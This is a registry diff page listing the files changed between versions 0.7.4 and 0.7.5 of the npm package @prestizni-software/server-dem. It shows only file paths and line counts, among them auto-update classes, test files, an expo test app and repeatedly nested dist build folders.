@prestizni-software/server-dem 0.7.4 → 0.7.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (517) hide show
  1. package/AutoUpdateClientManagerClass.d.ts +141 -0
  2. package/AutoUpdateClientManagerClass.js +656 -0
  3. package/AutoUpdateClientManagerClass.js.map +1 -0
  4. package/AutoUpdateManagerClass.d.ts +102 -0
  5. package/AutoUpdateManagerClass.js +117 -0
  6. package/AutoUpdateManagerClass.js.map +1 -0
  7. package/AutoUpdateServerManagerClass.d.ts +208 -0
  8. package/AutoUpdateServerManagerClass.js +913 -0
  9. package/AutoUpdateServerManagerClass.js.map +1 -0
  10. package/AutoUpdatedClientObjectClass.d.ts +215 -0
  11. package/AutoUpdatedClientObjectClass.js +911 -0
  12. package/AutoUpdatedClientObjectClass.js.map +1 -0
  13. package/AutoUpdatedServerObjectClass.d.ts +134 -0
  14. package/AutoUpdatedServerObjectClass.js +346 -0
  15. package/AutoUpdatedServerObjectClass.js.map +1 -0
  16. package/ClientTypes.d.ts +15 -0
  17. package/ClientTypes.js +52 -0
  18. package/ClientTypes.js.map +1 -0
  19. package/CommonTypes.d.ts +259 -0
  20. package/CommonTypes.js +233 -0
  21. package/CommonTypes.js.map +1 -0
  22. package/CommonTypes_server.d.ts +1 -0
  23. package/CommonTypes_server.js +2 -0
  24. package/CommonTypes_server.js.map +1 -0
  25. package/{dist/DEMErrors.js.map → DEMErrors.js.map} +1 -1
  26. package/ServerTypes.d.ts +16 -0
  27. package/ServerTypes.js +60 -0
  28. package/ServerTypes.js.map +1 -0
  29. package/client.d.ts +6 -0
  30. package/client.js +7 -0
  31. package/client.js.map +1 -0
  32. package/coverage/lcov-report/block-navigation.js +71 -0
  33. package/coverage/lcov-report/block-navigation.js.map +1 -0
  34. package/coverage/lcov-report/prettify.js +478 -0
  35. package/coverage/lcov-report/prettify.js.map +1 -0
  36. package/coverage/lcov-report/sorter.js +177 -0
  37. package/coverage/lcov-report/sorter.js.map +1 -0
  38. package/dist/AutoUpdateClientManagerClass.d.ts +20 -0
  39. package/dist/AutoUpdateClientManagerClass.js +283 -0
  40. package/dist/AutoUpdateClientManagerClass.js.map +1 -0
  41. package/dist/AutoUpdateManagerClass.d.ts +17 -96
  42. package/dist/AutoUpdateManagerClass.js +15 -73
  43. package/dist/AutoUpdateManagerClass.js.map +1 -1
  44. package/dist/AutoUpdateServerManagerClass.d.ts +18 -207
  45. package/dist/AutoUpdateServerManagerClass.js +198 -680
  46. package/dist/AutoUpdateServerManagerClass.js.map +1 -1
  47. package/dist/AutoUpdatedClientObjectClass.d.ts +63 -206
  48. package/dist/AutoUpdatedClientObjectClass.js +660 -707
  49. package/dist/AutoUpdatedClientObjectClass.js.map +1 -1
  50. package/dist/AutoUpdatedServerObjectClass.d.ts +13 -126
  51. package/dist/AutoUpdatedServerObjectClass.js +92 -315
  52. package/dist/AutoUpdatedServerObjectClass.js.map +1 -1
  53. package/dist/ClientTypes.d.ts +13 -0
  54. package/dist/ClientTypes.js +70 -0
  55. package/dist/ClientTypes.js.map +1 -0
  56. package/dist/CommonTypes.d.ts +3 -266
  57. package/dist/CommonTypes.js +4 -234
  58. package/dist/CommonTypes.js.map +1 -1
  59. package/dist/CommonTypes_server.d.ts +1 -1
  60. package/dist/CommonTypes_server.js +2 -1
  61. package/dist/CommonTypes_server.js.map +1 -1
  62. package/dist/ServerTypes.d.ts +13 -0
  63. package/dist/ServerTypes.js +78 -0
  64. package/dist/ServerTypes.js.map +1 -0
  65. package/dist/TestTypes.d.ts +1 -0
  66. package/dist/TestTypes.js +7 -0
  67. package/dist/TestTypes.js.map +1 -0
  68. package/dist/client.d.ts +1 -0
  69. package/dist/client.js +12 -0
  70. package/dist/client.js.map +1 -0
  71. package/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
  72. package/dist/coverage/lcov-report/block-navigation.js +71 -0
  73. package/dist/coverage/lcov-report/block-navigation.js.map +1 -0
  74. package/dist/coverage/lcov-report/prettify.d.ts +0 -0
  75. package/dist/coverage/lcov-report/prettify.js +736 -0
  76. package/dist/coverage/lcov-report/prettify.js.map +1 -0
  77. package/dist/coverage/lcov-report/sorter.d.ts +1 -0
  78. package/dist/coverage/lcov-report/sorter.js +177 -0
  79. package/dist/coverage/lcov-report/sorter.js.map +1 -0
  80. package/dist/dist/AutoUpdateClientManagerClass.d.ts +19 -0
  81. package/dist/dist/AutoUpdateClientManagerClass.js +284 -0
  82. package/dist/dist/AutoUpdateClientManagerClass.js.map +1 -0
  83. package/dist/dist/AutoUpdateManagerClass.d.ts +23 -0
  84. package/dist/dist/AutoUpdateManagerClass.js +60 -0
  85. package/dist/dist/AutoUpdateManagerClass.js.map +1 -0
  86. package/dist/dist/AutoUpdateServerManagerClass.d.ts +50 -0
  87. package/dist/dist/AutoUpdateServerManagerClass.js +413 -0
  88. package/dist/dist/AutoUpdateServerManagerClass.js.map +1 -0
  89. package/dist/dist/AutoUpdatedClientObjectClass.d.ts +72 -0
  90. package/dist/dist/AutoUpdatedClientObjectClass.js +865 -0
  91. package/dist/dist/AutoUpdatedClientObjectClass.js.map +1 -0
  92. package/dist/dist/AutoUpdatedServerObjectClass.d.ts +15 -0
  93. package/dist/dist/AutoUpdatedServerObjectClass.js +124 -0
  94. package/dist/dist/AutoUpdatedServerObjectClass.js.map +1 -0
  95. package/dist/dist/ClientTypes.d.ts +13 -0
  96. package/dist/dist/ClientTypes.js +71 -0
  97. package/dist/dist/ClientTypes.js.map +1 -0
  98. package/dist/dist/CommonTypes.d.ts +3 -0
  99. package/dist/dist/CommonTypes.js +20 -0
  100. package/dist/dist/CommonTypes.js.map +1 -0
  101. package/dist/dist/CommonTypes_server.d.ts +1 -0
  102. package/dist/dist/CommonTypes_server.js +4 -0
  103. package/dist/dist/CommonTypes_server.js.map +1 -0
  104. package/dist/dist/ServerTypes.d.ts +13 -0
  105. package/dist/dist/ServerTypes.js +79 -0
  106. package/dist/dist/ServerTypes.js.map +1 -0
  107. package/dist/dist/TestTypes.d.ts +1 -0
  108. package/dist/dist/TestTypes.js +8 -0
  109. package/dist/dist/TestTypes.js.map +1 -0
  110. package/dist/dist/client.d.ts +1 -0
  111. package/dist/dist/client.js +13 -0
  112. package/dist/dist/client.js.map +1 -0
  113. package/dist/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
  114. package/dist/dist/coverage/lcov-report/block-navigation.js +71 -0
  115. package/dist/dist/coverage/lcov-report/block-navigation.js.map +1 -0
  116. package/dist/dist/coverage/lcov-report/prettify.d.ts +0 -0
  117. package/dist/dist/coverage/lcov-report/prettify.js +736 -0
  118. package/dist/dist/coverage/lcov-report/prettify.js.map +1 -0
  119. package/dist/dist/coverage/lcov-report/sorter.d.ts +1 -0
  120. package/dist/dist/coverage/lcov-report/sorter.js +177 -0
  121. package/dist/dist/coverage/lcov-report/sorter.js.map +1 -0
  122. package/dist/dist/dist/AutoUpdateClientManagerClass.d.ts +19 -0
  123. package/dist/dist/dist/AutoUpdateClientManagerClass.js +285 -0
  124. package/dist/dist/dist/AutoUpdateClientManagerClass.js.map +1 -0
  125. package/dist/dist/dist/AutoUpdateManagerClass.d.ts +23 -0
  126. package/dist/dist/dist/AutoUpdateManagerClass.js +61 -0
  127. package/dist/dist/dist/AutoUpdateManagerClass.js.map +1 -0
  128. package/dist/dist/dist/AutoUpdateServerManagerClass.d.ts +158 -0
  129. package/dist/dist/dist/AutoUpdateServerManagerClass.js +414 -0
  130. package/dist/dist/dist/AutoUpdateServerManagerClass.js.map +1 -0
  131. package/dist/dist/dist/AutoUpdatedClientObjectClass.d.ts +72 -0
  132. package/dist/dist/dist/AutoUpdatedClientObjectClass.js +866 -0
  133. package/dist/dist/dist/AutoUpdatedClientObjectClass.js.map +1 -0
  134. package/dist/dist/dist/AutoUpdatedServerObjectClass.d.ts +15 -0
  135. package/dist/dist/dist/AutoUpdatedServerObjectClass.js +125 -0
  136. package/dist/dist/dist/AutoUpdatedServerObjectClass.js.map +1 -0
  137. package/dist/dist/dist/ClientTypes.d.ts +13 -0
  138. package/dist/dist/dist/ClientTypes.js +72 -0
  139. package/dist/dist/dist/ClientTypes.js.map +1 -0
  140. package/dist/dist/dist/CommonTypes.d.ts +3 -0
  141. package/dist/dist/dist/CommonTypes.js +21 -0
  142. package/dist/dist/dist/CommonTypes.js.map +1 -0
  143. package/dist/dist/dist/CommonTypes_server.d.ts +1 -0
  144. package/dist/dist/dist/CommonTypes_server.js +5 -0
  145. package/dist/dist/dist/CommonTypes_server.js.map +1 -0
  146. package/dist/dist/dist/ServerTypes.d.ts +13 -0
  147. package/dist/dist/dist/ServerTypes.js +80 -0
  148. package/dist/dist/dist/ServerTypes.js.map +1 -0
  149. package/dist/dist/dist/TestTypes.d.ts +1 -0
  150. package/dist/dist/dist/TestTypes.js +9 -0
  151. package/dist/dist/dist/TestTypes.js.map +1 -0
  152. package/dist/dist/dist/client.d.ts +1 -0
  153. package/dist/dist/dist/client.js +14 -0
  154. package/dist/dist/dist/client.js.map +1 -0
  155. package/dist/dist/dist/coverage/lcov-report/block-navigation.d.ts +1 -0
  156. package/dist/dist/dist/coverage/lcov-report/block-navigation.js +71 -0
  157. package/dist/dist/dist/coverage/lcov-report/block-navigation.js.map +1 -0
  158. package/dist/dist/dist/coverage/lcov-report/prettify.d.ts +0 -0
  159. package/dist/dist/dist/coverage/lcov-report/prettify.js +736 -0
  160. package/dist/dist/dist/coverage/lcov-report/prettify.js.map +1 -0
  161. package/dist/dist/dist/coverage/lcov-report/sorter.d.ts +1 -0
  162. package/dist/dist/dist/coverage/lcov-report/sorter.js +177 -0
  163. package/dist/dist/dist/coverage/lcov-report/sorter.js.map +1 -0
  164. package/dist/dist/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
  165. package/dist/dist/dist/expo-test/app/(tabs)/_layout.js +27 -0
  166. package/dist/dist/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
  167. package/dist/dist/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
  168. package/dist/dist/dist/expo-test/app/(tabs)/explore.js +95 -0
  169. package/dist/dist/dist/expo-test/app/(tabs)/explore.js.map +1 -0
  170. package/dist/dist/dist/expo-test/app/(tabs)/index.d.ts +1 -0
  171. package/dist/dist/dist/expo-test/app/(tabs)/index.js +81 -0
  172. package/dist/dist/dist/expo-test/app/(tabs)/index.js.map +1 -0
  173. package/dist/dist/dist/expo-test/app/_layout.d.ts +4 -0
  174. package/dist/dist/dist/expo-test/app/_layout.js +22 -0
  175. package/dist/dist/dist/expo-test/app/_layout.js.map +1 -0
  176. package/dist/dist/dist/expo-test/app/modal.d.ts +1 -0
  177. package/dist/dist/dist/expo-test/app/modal.js +28 -0
  178. package/dist/dist/dist/expo-test/app/modal.js.map +1 -0
  179. package/dist/dist/dist/expo-test/components/external-link.d.ts +4 -0
  180. package/dist/dist/dist/expo-test/components/external-link.js +18 -0
  181. package/dist/dist/dist/expo-test/components/external-link.js.map +1 -0
  182. package/dist/dist/dist/expo-test/components/haptic-tab.d.ts +1 -0
  183. package/dist/dist/dist/expo-test/components/haptic-tab.js +15 -0
  184. package/dist/dist/dist/expo-test/components/haptic-tab.js.map +1 -0
  185. package/dist/dist/dist/expo-test/components/hello-wave.d.ts +1 -0
  186. package/dist/dist/dist/expo-test/components/hello-wave.js +19 -0
  187. package/dist/dist/dist/expo-test/components/hello-wave.js.map +1 -0
  188. package/dist/dist/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
  189. package/dist/dist/dist/expo-test/components/parallax-scroll-view.js +53 -0
  190. package/dist/dist/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
  191. package/dist/dist/dist/expo-test/components/themed-text.d.ts +7 -0
  192. package/dist/dist/dist/expo-test/components/themed-text.js +43 -0
  193. package/dist/dist/dist/expo-test/components/themed-text.js.map +1 -0
  194. package/dist/dist/dist/expo-test/components/themed-view.d.ts +6 -0
  195. package/dist/dist/dist/expo-test/components/themed-view.js +10 -0
  196. package/dist/dist/dist/expo-test/components/themed-view.js.map +1 -0
  197. package/dist/dist/dist/expo-test/components/ui/collapsible.d.ts +4 -0
  198. package/dist/dist/dist/expo-test/components/ui/collapsible.js +34 -0
  199. package/dist/dist/dist/expo-test/components/ui/collapsible.js.map +1 -0
  200. package/dist/dist/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
  201. package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
  202. package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.js +14 -0
  203. package/dist/dist/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
  204. package/dist/dist/dist/expo-test/components/ui/icon-symbol.js +25 -0
  205. package/dist/dist/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
  206. package/dist/dist/dist/expo-test/constants/theme.d.ts +26 -0
  207. package/dist/dist/dist/expo-test/constants/theme.js +53 -0
  208. package/dist/dist/dist/expo-test/constants/theme.js.map +1 -0
  209. package/dist/dist/dist/expo-test/eslint.config.d.ts +2 -0
  210. package/dist/dist/dist/expo-test/eslint.config.js +11 -0
  211. package/dist/dist/dist/expo-test/eslint.config.js.map +1 -0
  212. package/dist/dist/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
  213. package/dist/dist/dist/expo-test/hooks/use-color-scheme.js +5 -0
  214. package/dist/dist/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
  215. package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
  216. package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.js +20 -0
  217. package/dist/dist/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
  218. package/dist/dist/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
  219. package/dist/dist/dist/expo-test/hooks/use-theme-color.js +20 -0
  220. package/dist/dist/dist/expo-test/hooks/use-theme-color.js.map +1 -0
  221. package/dist/dist/dist/expo-test/scripts/reset-project.d.ts +2 -0
  222. package/dist/dist/dist/expo-test/scripts/reset-project.js +98 -0
  223. package/dist/dist/dist/expo-test/scripts/reset-project.js.map +1 -0
  224. package/dist/dist/dist/jest.config.d.ts +21 -0
  225. package/dist/dist/dist/jest.config.js +20 -0
  226. package/dist/dist/dist/jest.config.js.map +1 -0
  227. package/dist/dist/dist/server.d.ts +1 -0
  228. package/dist/dist/dist/server.js +16 -0
  229. package/dist/dist/dist/server.js.map +1 -0
  230. package/dist/dist/dist/socket_test.d.ts +1 -0
  231. package/dist/dist/dist/socket_test.js +24 -0
  232. package/dist/dist/dist/socket_test.js.map +1 -0
  233. package/dist/dist/dist/test.d.ts +1 -0
  234. package/dist/dist/dist/test.js +7 -0
  235. package/dist/dist/dist/test.js.map +1 -0
  236. package/dist/dist/dist/test_client.d.ts +1 -0
  237. package/dist/dist/dist/test_client.js +26 -0
  238. package/dist/dist/dist/test_client.js.map +1 -0
  239. package/dist/dist/dist/test_lib.d.ts +2 -0
  240. package/dist/dist/dist/test_lib.js +85 -0
  241. package/dist/dist/dist/test_lib.js.map +1 -0
  242. package/dist/dist/dist/test_server.d.ts +1 -0
  243. package/dist/dist/dist/test_server.js +54 -0
  244. package/dist/dist/dist/test_server.js.map +1 -0
  245. package/dist/dist/dist/tests/dem.test.d.ts +1 -0
  246. package/dist/dist/dist/tests/dem.test.js +341 -0
  247. package/dist/dist/dist/tests/dem.test.js.map +1 -0
  248. package/dist/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
  249. package/dist/dist/expo-test/app/(tabs)/_layout.js +26 -0
  250. package/dist/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
  251. package/dist/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
  252. package/dist/dist/expo-test/app/(tabs)/explore.js +94 -0
  253. package/dist/dist/expo-test/app/(tabs)/explore.js.map +1 -0
  254. package/dist/dist/expo-test/app/(tabs)/index.d.ts +1 -0
  255. package/dist/dist/expo-test/app/(tabs)/index.js +80 -0
  256. package/dist/dist/expo-test/app/(tabs)/index.js.map +1 -0
  257. package/dist/dist/expo-test/app/_layout.d.ts +4 -0
  258. package/dist/dist/expo-test/app/_layout.js +21 -0
  259. package/dist/dist/expo-test/app/_layout.js.map +1 -0
  260. package/dist/dist/expo-test/app/modal.d.ts +1 -0
  261. package/dist/dist/expo-test/app/modal.js +27 -0
  262. package/dist/dist/expo-test/app/modal.js.map +1 -0
  263. package/dist/dist/expo-test/components/external-link.d.ts +4 -0
  264. package/dist/dist/expo-test/components/external-link.js +17 -0
  265. package/dist/dist/expo-test/components/external-link.js.map +1 -0
  266. package/dist/dist/expo-test/components/haptic-tab.d.ts +1 -0
  267. package/dist/dist/expo-test/components/haptic-tab.js +14 -0
  268. package/dist/dist/expo-test/components/haptic-tab.js.map +1 -0
  269. package/dist/dist/expo-test/components/hello-wave.d.ts +1 -0
  270. package/dist/dist/expo-test/components/hello-wave.js +18 -0
  271. package/dist/dist/expo-test/components/hello-wave.js.map +1 -0
  272. package/dist/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
  273. package/dist/dist/expo-test/components/parallax-scroll-view.js +52 -0
  274. package/dist/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
  275. package/dist/dist/expo-test/components/themed-text.d.ts +7 -0
  276. package/dist/dist/expo-test/components/themed-text.js +42 -0
  277. package/dist/dist/expo-test/components/themed-text.js.map +1 -0
  278. package/dist/dist/expo-test/components/themed-view.d.ts +6 -0
  279. package/dist/dist/expo-test/components/themed-view.js +9 -0
  280. package/dist/dist/expo-test/components/themed-view.js.map +1 -0
  281. package/dist/dist/expo-test/components/ui/collapsible.d.ts +4 -0
  282. package/dist/dist/expo-test/components/ui/collapsible.js +33 -0
  283. package/dist/dist/expo-test/components/ui/collapsible.js.map +1 -0
  284. package/dist/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
  285. package/dist/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
  286. package/dist/dist/expo-test/components/ui/icon-symbol.ios.js +13 -0
  287. package/dist/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
  288. package/dist/dist/expo-test/components/ui/icon-symbol.js +24 -0
  289. package/dist/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
  290. package/dist/dist/expo-test/constants/theme.d.ts +26 -0
  291. package/dist/dist/expo-test/constants/theme.js +52 -0
  292. package/dist/dist/expo-test/constants/theme.js.map +1 -0
  293. package/dist/dist/expo-test/eslint.config.d.ts +2 -0
  294. package/dist/dist/expo-test/eslint.config.js +11 -0
  295. package/dist/dist/expo-test/eslint.config.js.map +1 -0
  296. package/dist/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
  297. package/dist/dist/expo-test/hooks/use-color-scheme.js +4 -0
  298. package/dist/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
  299. package/dist/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
  300. package/dist/dist/expo-test/hooks/use-color-scheme.web.js +19 -0
  301. package/dist/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
  302. package/dist/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
  303. package/dist/dist/expo-test/hooks/use-theme-color.js +19 -0
  304. package/dist/dist/expo-test/hooks/use-theme-color.js.map +1 -0
  305. package/dist/dist/expo-test/scripts/reset-project.d.ts +2 -0
  306. package/dist/dist/expo-test/scripts/reset-project.js +98 -0
  307. package/dist/dist/expo-test/scripts/reset-project.js.map +1 -0
  308. package/dist/dist/jest.config.d.ts +21 -0
  309. package/dist/dist/jest.config.js +19 -0
  310. package/dist/dist/jest.config.js.map +1 -0
  311. package/dist/dist/server.d.ts +1 -0
  312. package/dist/dist/server.js +15 -0
  313. package/dist/dist/server.js.map +1 -0
  314. package/dist/dist/socket_test.d.ts +1 -0
  315. package/dist/dist/socket_test.js +23 -0
  316. package/dist/dist/socket_test.js.map +1 -0
  317. package/dist/dist/test.d.ts +1 -0
  318. package/dist/dist/test.js +6 -0
  319. package/dist/dist/test.js.map +1 -0
  320. package/dist/dist/test_client.d.ts +1 -0
  321. package/dist/dist/test_client.js +25 -0
  322. package/dist/dist/test_client.js.map +1 -0
  323. package/dist/dist/test_lib.d.ts +2 -0
  324. package/dist/dist/test_lib.js +84 -0
  325. package/dist/dist/test_lib.js.map +1 -0
  326. package/dist/dist/test_server.d.ts +1 -0
  327. package/dist/dist/test_server.js +53 -0
  328. package/dist/dist/test_server.js.map +1 -0
  329. package/dist/dist/tests/dem.test.d.ts +1 -0
  330. package/dist/dist/tests/dem.test.js +340 -0
  331. package/dist/dist/tests/dem.test.js.map +1 -0
  332. package/dist/expo-test/app/(tabs)/_layout.d.ts +1 -0
  333. package/dist/expo-test/app/(tabs)/_layout.js +25 -0
  334. package/dist/expo-test/app/(tabs)/_layout.js.map +1 -0
  335. package/dist/expo-test/app/(tabs)/explore.d.ts +1 -0
  336. package/dist/expo-test/app/(tabs)/explore.js +93 -0
  337. package/dist/expo-test/app/(tabs)/explore.js.map +1 -0
  338. package/dist/expo-test/app/(tabs)/index.d.ts +1 -0
  339. package/dist/expo-test/app/(tabs)/index.js +79 -0
  340. package/dist/expo-test/app/(tabs)/index.js.map +1 -0
  341. package/dist/expo-test/app/_layout.d.ts +4 -0
  342. package/dist/expo-test/app/_layout.js +20 -0
  343. package/dist/expo-test/app/_layout.js.map +1 -0
  344. package/dist/expo-test/app/modal.d.ts +1 -0
  345. package/dist/expo-test/app/modal.js +26 -0
  346. package/dist/expo-test/app/modal.js.map +1 -0
  347. package/dist/expo-test/components/external-link.d.ts +4 -0
  348. package/dist/expo-test/components/external-link.js +16 -0
  349. package/dist/expo-test/components/external-link.js.map +1 -0
  350. package/dist/expo-test/components/haptic-tab.d.ts +1 -0
  351. package/dist/expo-test/components/haptic-tab.js +13 -0
  352. package/dist/expo-test/components/haptic-tab.js.map +1 -0
  353. package/dist/expo-test/components/hello-wave.d.ts +1 -0
  354. package/dist/expo-test/components/hello-wave.js +17 -0
  355. package/dist/expo-test/components/hello-wave.js.map +1 -0
  356. package/dist/expo-test/components/parallax-scroll-view.d.ts +5 -0
  357. package/dist/expo-test/components/parallax-scroll-view.js +51 -0
  358. package/dist/expo-test/components/parallax-scroll-view.js.map +1 -0
  359. package/dist/expo-test/components/themed-text.d.ts +7 -0
  360. package/dist/expo-test/components/themed-text.js +41 -0
  361. package/dist/expo-test/components/themed-text.js.map +1 -0
  362. package/dist/expo-test/components/themed-view.d.ts +6 -0
  363. package/dist/expo-test/components/themed-view.js +8 -0
  364. package/dist/expo-test/components/themed-view.js.map +1 -0
  365. package/dist/expo-test/components/ui/collapsible.d.ts +4 -0
  366. package/dist/expo-test/components/ui/collapsible.js +32 -0
  367. package/dist/expo-test/components/ui/collapsible.js.map +1 -0
  368. package/dist/expo-test/components/ui/icon-symbol.d.ts +11 -0
  369. package/dist/expo-test/components/ui/icon-symbol.ios.d.ts +7 -0
  370. package/dist/expo-test/components/ui/icon-symbol.ios.js +12 -0
  371. package/dist/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
  372. package/dist/expo-test/components/ui/icon-symbol.js +23 -0
  373. package/dist/expo-test/components/ui/icon-symbol.js.map +1 -0
  374. package/dist/expo-test/constants/theme.d.ts +26 -0
  375. package/dist/expo-test/constants/theme.js +51 -0
  376. package/dist/expo-test/constants/theme.js.map +1 -0
  377. package/dist/expo-test/eslint.config.d.ts +2 -0
  378. package/dist/expo-test/eslint.config.js +11 -0
  379. package/dist/expo-test/eslint.config.js.map +1 -0
  380. package/dist/expo-test/hooks/use-color-scheme.d.ts +1 -0
  381. package/dist/expo-test/hooks/use-color-scheme.js +3 -0
  382. package/dist/expo-test/hooks/use-color-scheme.js.map +1 -0
  383. package/dist/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
  384. package/dist/expo-test/hooks/use-color-scheme.web.js +18 -0
  385. package/dist/expo-test/hooks/use-color-scheme.web.js.map +1 -0
  386. package/dist/expo-test/hooks/use-theme-color.d.ts +1 -0
  387. package/dist/expo-test/hooks/use-theme-color.js +18 -0
  388. package/dist/expo-test/hooks/use-theme-color.js.map +1 -0
  389. package/dist/expo-test/scripts/reset-project.d.ts +2 -0
  390. package/dist/expo-test/scripts/reset-project.js +98 -0
  391. package/dist/expo-test/scripts/reset-project.js.map +1 -0
  392. package/dist/jest.config.d.ts +21 -0
  393. package/dist/jest.config.js +18 -0
  394. package/dist/jest.config.js.map +1 -0
  395. package/dist/server.d.ts +1 -8
  396. package/dist/server.js +13 -8
  397. package/dist/server.js.map +1 -1
  398. package/dist/socket_test.d.ts +1 -0
  399. package/dist/socket_test.js +22 -0
  400. package/dist/socket_test.js.map +1 -0
  401. package/dist/test.d.ts +1 -0
  402. package/dist/test.js +5 -0
  403. package/dist/test.js.map +1 -0
  404. package/dist/test_client.d.ts +1 -0
  405. package/dist/test_client.js +24 -0
  406. package/dist/test_client.js.map +1 -0
  407. package/dist/test_lib.d.ts +12 -0
  408. package/dist/test_lib.js +83 -0
  409. package/dist/test_lib.js.map +1 -0
  410. package/dist/test_server.d.ts +1 -0
  411. package/dist/test_server.js +52 -0
  412. package/dist/test_server.js.map +1 -0
  413. package/dist/tests/dem.test.d.ts +1 -0
  414. package/dist/tests/dem.test.js +339 -0
  415. package/dist/tests/dem.test.js.map +1 -0
  416. package/expo-test/app/(tabs)/_layout.d.ts +2 -0
  417. package/expo-test/app/(tabs)/_layout.js +24 -0
  418. package/expo-test/app/(tabs)/_layout.js.map +1 -0
  419. package/expo-test/app/(tabs)/explore.d.ts +1 -0
  420. package/expo-test/app/(tabs)/explore.js +92 -0
  421. package/expo-test/app/(tabs)/explore.js.map +1 -0
  422. package/expo-test/app/(tabs)/index.d.ts +1 -0
  423. package/expo-test/app/(tabs)/index.js +78 -0
  424. package/expo-test/app/(tabs)/index.js.map +1 -0
  425. package/expo-test/app/_layout.d.ts +5 -0
  426. package/expo-test/app/_layout.js +19 -0
  427. package/expo-test/app/_layout.js.map +1 -0
  428. package/expo-test/app/modal.d.ts +1 -0
  429. package/expo-test/app/modal.js +25 -0
  430. package/expo-test/app/modal.js.map +1 -0
  431. package/expo-test/components/external-link.d.ts +7 -0
  432. package/expo-test/components/external-link.js +15 -0
  433. package/expo-test/components/external-link.js.map +1 -0
  434. package/expo-test/components/haptic-tab.d.ts +2 -0
  435. package/expo-test/components/haptic-tab.js +12 -0
  436. package/expo-test/components/haptic-tab.js.map +1 -0
  437. package/expo-test/components/hello-wave.d.ts +1 -0
  438. package/expo-test/components/hello-wave.js +16 -0
  439. package/expo-test/components/hello-wave.js.map +1 -0
  440. package/expo-test/components/parallax-scroll-view.d.ts +10 -0
  441. package/expo-test/components/parallax-scroll-view.js +50 -0
  442. package/expo-test/components/parallax-scroll-view.js.map +1 -0
  443. package/expo-test/components/themed-text.d.ts +7 -0
  444. package/expo-test/components/themed-text.js +40 -0
  445. package/expo-test/components/themed-text.js.map +1 -0
  446. package/expo-test/components/themed-view.d.ts +6 -0
  447. package/expo-test/components/themed-view.js +7 -0
  448. package/expo-test/components/themed-view.js.map +1 -0
  449. package/expo-test/components/ui/collapsible.d.ts +4 -0
  450. package/expo-test/components/ui/collapsible.js +31 -0
  451. package/expo-test/components/ui/collapsible.js.map +1 -0
  452. package/expo-test/components/ui/icon-symbol.d.ts +25 -0
  453. package/expo-test/components/ui/icon-symbol.ios.d.ts +9 -0
  454. package/expo-test/components/ui/icon-symbol.ios.js +11 -0
  455. package/expo-test/components/ui/icon-symbol.ios.js.map +1 -0
  456. package/expo-test/components/ui/icon-symbol.js +22 -0
  457. package/expo-test/components/ui/icon-symbol.js.map +1 -0
  458. package/expo-test/constants/theme.d.ts +32 -0
  459. package/expo-test/constants/theme.js +50 -0
  460. package/expo-test/constants/theme.js.map +1 -0
  461. package/expo-test/eslint.config.d.ts +2 -0
  462. package/expo-test/eslint.config.js +11 -0
  463. package/expo-test/eslint.config.js.map +1 -0
  464. package/expo-test/hooks/use-color-scheme.d.ts +1 -0
  465. package/expo-test/hooks/use-color-scheme.js +2 -0
  466. package/expo-test/hooks/use-color-scheme.js.map +1 -0
  467. package/expo-test/hooks/use-color-scheme.web.d.ts +4 -0
  468. package/expo-test/hooks/use-color-scheme.web.js +17 -0
  469. package/expo-test/hooks/use-color-scheme.web.js.map +1 -0
  470. package/expo-test/hooks/use-theme-color.d.ts +9 -0
  471. package/expo-test/hooks/use-theme-color.js +17 -0
  472. package/expo-test/hooks/use-theme-color.js.map +1 -0
  473. package/expo-test/scripts/reset-project.d.ts +2 -0
  474. package/expo-test/scripts/reset-project.js +98 -0
  475. package/expo-test/scripts/reset-project.js.map +1 -0
  476. package/index.d.ts +4 -0
  477. package/index.js +5 -0
  478. package/index.js.map +1 -0
  479. package/jest.config.d.ts +3 -0
  480. package/jest.config.js +17 -0
  481. package/jest.config.js.map +1 -0
  482. package/package.json +23 -42
  483. package/server.d.ts +8 -0
  484. package/server.js +9 -0
  485. package/server.js.map +1 -0
  486. package/sync/ServerChangeTracker.js.map +1 -0
  487. package/version.d.ts +21 -0
  488. package/version.js +22 -0
  489. package/version.js.map +1 -0
  490. package/README.md +0 -18
  491. package/dist/sync/ServerChangeTracker.js.map +0 -1
  492. package/dist/tsconfig.tsbuildinfo +0 -1
  493. /package/{dist/DEMErrors.d.ts → DEMErrors.d.ts} +0 -0
  494. /package/{dist/DEMErrors.js → DEMErrors.js} +0 -0
  495. /package/{dist/sync → sync}/ClientStateReconciler.d.ts +0 -0
  496. /package/{dist/sync → sync}/ClientStateReconciler.js +0 -0
  497. /package/{dist/sync → sync}/ClientStateReconciler.js.map +0 -0
